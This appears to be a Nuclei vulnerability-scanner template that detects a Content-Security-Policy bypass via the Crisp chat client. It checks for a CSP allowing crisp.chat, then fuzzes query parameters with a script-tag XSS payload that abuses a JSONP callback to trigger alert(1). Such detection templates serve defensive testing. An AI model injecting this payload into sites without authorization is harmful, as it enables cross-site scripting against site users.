id: crisp-client-csp-bypass

info:
  name: Content-Security-Policy Bypass - Crisp Client
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,crisp-client,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "crisp.chat"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: crisp_client_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://client.crisp.chat/settings/website/x/?callback=-alert(1)//"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "crisp_client_csp_xss == true"
# digest: 490a004630440220746c8b08f5f19b973f9009cb727bf0e9bdf47bc7ab61d74f098457d36cd939ee022029ea3831064dd1c92713178fd0e74639fb5b521f339640481b856465bac23ba9:922c64590222798bb761d5b6d8e72950